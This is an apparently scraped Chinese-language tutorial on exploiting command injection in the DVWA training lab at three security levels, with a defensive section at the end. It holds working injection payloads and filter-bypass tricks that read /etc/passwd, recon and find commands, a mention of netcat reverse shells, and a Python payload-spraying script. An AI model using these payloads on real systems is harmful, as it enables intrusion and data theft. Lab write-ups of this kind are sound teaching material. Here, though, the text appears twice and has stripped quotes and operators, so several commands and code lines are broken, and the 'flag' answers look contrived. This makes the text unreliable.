DVWA 1.10 命令注入实战从基础绕过到高级利用的完整指南在网络安全领域命令注入Command Injection始终是Web应用安全测试中的核心课题之一。作为渗透测试人员或CTF选手掌握不同安全等级下的命令注入技巧不仅能帮助我们发现系统漏洞更能深入理解防御机制的演变逻辑。本文将基于DVWA 1.10靶场系统剖析Low/Medium/High三种安全等级的命令注入场景通过8个实战Flag的获取过程揭示命令注入的本质原理与进阶技巧。1. 环境搭建与基础准备DVWADamn Vulnerable Web Application是专为安全测试设计的PHP/MySQL应用其模块化的漏洞设计允许我们自由调整安全等级。以下是环境配置的关键步骤# 使用Docker快速部署DVWA 1.10 docker run --rm -it -p 8080:80 vulnerables/web-dvwa访问http://localhost:8080后需完成以下初始化操作点击Create/Reset Database按钮初始化数据库使用默认凭证登录admin/password在DVWA Security页面调整安全等级提示实验前建议配置PHP的display_errors为On便于观察报错信息必要工具准备Burp Suite拦截和修改HTTP请求curl快速测试命令注入点netcat建立反向Shell连接Python SimpleHTTPServer临时文件传输2. Low安全等级无防护的原始战场在Low级别下DVWA未对用户输入做任何过滤。以ping功能为例观察基础注入模式// 原始PHP代码片段 $target $_REQUEST[ip]; system(ping -c 4 $target);Flag 1获取提交127.0.0.1后返回结果的第一个单词即为Flag。这里演示的是最基本的命令执行功能。多命令注入技巧分号分隔127.0.0.1; whoami管道符127.0.0.1 | cat /etc/passwd逻辑运算符127.0.0.1 uname -aFlag 2获取构造显示系统用户的Payload提交127.0.0.1; cat /etc/passwd其中; cat /etc/passwd即为Flag值。3. Medium安全等级初阶防御与绕过切换到Medium级别后代码增加了基础过滤$target str_replace(;, , $_REQUEST[ip]); system(ping -c 4 $target);防御分析移除所有分号字符未处理其他命令分隔符有效绕过方式使用替代127.0.0.1 whoami换行符注入127.0.0.1%0aid反引号执行127.0.0.1 uname -aFlag 3获取提交127.0.0.1 cat /etc/passwd后观察报错信息的倒数第二个单词。Flag 4获取查看源码防御措施以F1.F2格式提交示例str_replace.分号。4. High安全等级复合过滤与深度绕过High级别采用多层过滤机制$target stripslashes($_REQUEST[ip]); $target explode( , $target); $target $target[0]; system(ping -c 4 $target);防御机制解析去除转义字符按空格分割输入只取第一个片段高级绕过策略参数注入127.0.0.1 -c 1; whoami环境变量注入127.0.0.1$IFS$(whoami)编码绕过127.0.0.1%0a$(echo${IFS}payload)Flag 5获取通过127.0.0.1 -c 1; cat /etc/passwd获取用户列表提交-c 1; cat /etc/passwd部分。Flag 6获取分析源码第三个过滤内容为explode函数。5. 黑名单绕过艺术当遇到严格命令限制时可尝试以下技巧字符替换技术# Python生成替代字符 print(whoami.replace(w, ${substr:0:1}))变量拼接法awho; bami; $a$b通配符利用/bin/c?t /etc/passwdFlag 7获取使用127.0.0.1 -c 1; awho; bami; $a$b提交awho; bami; $a$b。6. 数据提取与权限提升获取Shell后需要有效提取信息常用信息收集命令# 系统信息 uname -a cat /etc/issue # 用户信息 whoami id # 网络配置 ifconfig netstat -tuln文件系统探索技巧# 查找配置文件 find / -name *.conf -type f 2/dev/null # 搜索可写目录 find / -perm -ow -type d 2/dev/nullFlag 8获取执行127.0.0.1 -c 1; tail -n 1 /etc/passwd提交最后一个用户名。7. 防御方案设计基于实战经验推荐多层防御策略输入验证层// 白名单验证IP格式 if (!filter_var($ip, FILTER_VALIDATE_IP)) { die(Invalid IP format); }命令执行层# Python安全示例 import subprocess subprocess.run([ping, -c, 4, ip], shellFalse)系统加固建议使用最小权限账户运行Web服务定期更新系统补丁配置适当的SELinux策略8. 自动化测试与工具集成将手工测试转化为自动化流程使用Burp Suite Intruder捕获正常ping请求设置注入位置为IP参数加载预定义的命令注入字典Python自动化脚本示例import requests payloads [; whoami, | id, uname -a] url http://target.com/vulnerable.php for p in payloads: r requests.post(url, data{ip: 127.0.0.1 p}) if www-data in r.text: print(fVulnerable to: {p})在实际渗透测试中命令注入漏洞的利用往往需要结合具体环境调整策略。通过DVWA的阶梯式训练我们不仅能掌握基础技巧更能培养面对新型防御机制时的创造性思维。
DVWA 1.10 命令注入实战:3种难度绕过与 8 个 Flag 获取全流程解析
发布时间:2026/7/11 4:04:45
DVWA 1.10 命令注入实战从基础绕过到高级利用的完整指南在网络安全领域命令注入Command Injection始终是Web应用安全测试中的核心课题之一。作为渗透测试人员或CTF选手掌握不同安全等级下的命令注入技巧不仅能帮助我们发现系统漏洞更能深入理解防御机制的演变逻辑。本文将基于DVWA 1.10靶场系统剖析Low/Medium/High三种安全等级的命令注入场景通过8个实战Flag的获取过程揭示命令注入的本质原理与进阶技巧。1. 环境搭建与基础准备DVWADamn Vulnerable Web Application是专为安全测试设计的PHP/MySQL应用其模块化的漏洞设计允许我们自由调整安全等级。以下是环境配置的关键步骤# 使用Docker快速部署DVWA 1.10 docker run --rm -it -p 8080:80 vulnerables/web-dvwa访问http://localhost:8080后需完成以下初始化操作点击Create/Reset Database按钮初始化数据库使用默认凭证登录admin/password在DVWA Security页面调整安全等级提示实验前建议配置PHP的display_errors为On便于观察报错信息必要工具准备Burp Suite拦截和修改HTTP请求curl快速测试命令注入点netcat建立反向Shell连接Python SimpleHTTPServer临时文件传输2. Low安全等级无防护的原始战场在Low级别下DVWA未对用户输入做任何过滤。以ping功能为例观察基础注入模式// 原始PHP代码片段 $target $_REQUEST[ip]; system(ping -c 4 $target);Flag 1获取提交127.0.0.1后返回结果的第一个单词即为Flag。这里演示的是最基本的命令执行功能。多命令注入技巧分号分隔127.0.0.1; whoami管道符127.0.0.1 | cat /etc/passwd逻辑运算符127.0.0.1 uname -aFlag 2获取构造显示系统用户的Payload提交127.0.0.1; cat /etc/passwd其中; cat /etc/passwd即为Flag值。3. Medium安全等级初阶防御与绕过切换到Medium级别后代码增加了基础过滤$target str_replace(;, , $_REQUEST[ip]); system(ping -c 4 $target);防御分析移除所有分号字符未处理其他命令分隔符有效绕过方式使用替代127.0.0.1 whoami换行符注入127.0.0.1%0aid反引号执行127.0.0.1 uname -aFlag 3获取提交127.0.0.1 cat /etc/passwd后观察报错信息的倒数第二个单词。Flag 4获取查看源码防御措施以F1.F2格式提交示例str_replace.分号。4. High安全等级复合过滤与深度绕过High级别采用多层过滤机制$target stripslashes($_REQUEST[ip]); $target explode( , $target); $target $target[0]; system(ping -c 4 $target);防御机制解析去除转义字符按空格分割输入只取第一个片段高级绕过策略参数注入127.0.0.1 -c 1; whoami环境变量注入127.0.0.1$IFS$(whoami)编码绕过127.0.0.1%0a$(echo${IFS}payload)Flag 5获取通过127.0.0.1 -c 1; cat /etc/passwd获取用户列表提交-c 1; cat /etc/passwd部分。Flag 6获取分析源码第三个过滤内容为explode函数。5. 黑名单绕过艺术当遇到严格命令限制时可尝试以下技巧字符替换技术# Python生成替代字符 print(whoami.replace(w, ${substr:0:1}))变量拼接法awho; bami; $a$b通配符利用/bin/c?t /etc/passwdFlag 7获取使用127.0.0.1 -c 1; awho; bami; $a$b提交awho; bami; $a$b。6. 数据提取与权限提升获取Shell后需要有效提取信息常用信息收集命令# 系统信息 uname -a cat /etc/issue # 用户信息 whoami id # 网络配置 ifconfig netstat -tuln文件系统探索技巧# 查找配置文件 find / -name *.conf -type f 2/dev/null # 搜索可写目录 find / -perm -ow -type d 2/dev/nullFlag 8获取执行127.0.0.1 -c 1; tail -n 1 /etc/passwd提交最后一个用户名。7. 防御方案设计基于实战经验推荐多层防御策略输入验证层// 白名单验证IP格式 if (!filter_var($ip, FILTER_VALIDATE_IP)) { die(Invalid IP format); }命令执行层# Python安全示例 import subprocess subprocess.run([ping, -c, 4, ip], shellFalse)系统加固建议使用最小权限账户运行Web服务定期更新系统补丁配置适当的SELinux策略8. 自动化测试与工具集成将手工测试转化为自动化流程使用Burp Suite Intruder捕获正常ping请求设置注入位置为IP参数加载预定义的命令注入字典Python自动化脚本示例import requests payloads [; whoami, | id, uname -a] url http://target.com/vulnerable.php for p in payloads: r requests.post(url, data{ip: 127.0.0.1 p}) if www-data in r.text: print(fVulnerable to: {p})在实际渗透测试中命令注入漏洞的利用往往需要结合具体环境调整策略。通过DVWA的阶梯式训练我们不仅能掌握基础技巧更能培养面对新型防御机制时的创造性思维。